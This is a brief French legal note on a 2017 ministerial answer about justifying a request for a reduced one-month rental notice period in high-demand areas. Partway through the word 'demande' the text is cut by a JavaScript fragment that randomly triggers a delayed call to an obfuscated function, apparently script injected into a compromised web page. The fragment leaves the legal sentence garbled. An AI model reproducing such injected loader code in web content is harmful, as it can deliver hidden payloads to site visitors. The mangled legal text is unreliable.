(Rép.min. n°94869, JOAN du 21 mars 2017
Dans une réponse ministérielle, il a été indiqué que la demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande d’un délai de préavis réduit à un mois devait être motivée y compris lorsque le logement est situé en zone tendue (article 17 I de la loi du 6 juillet 1989.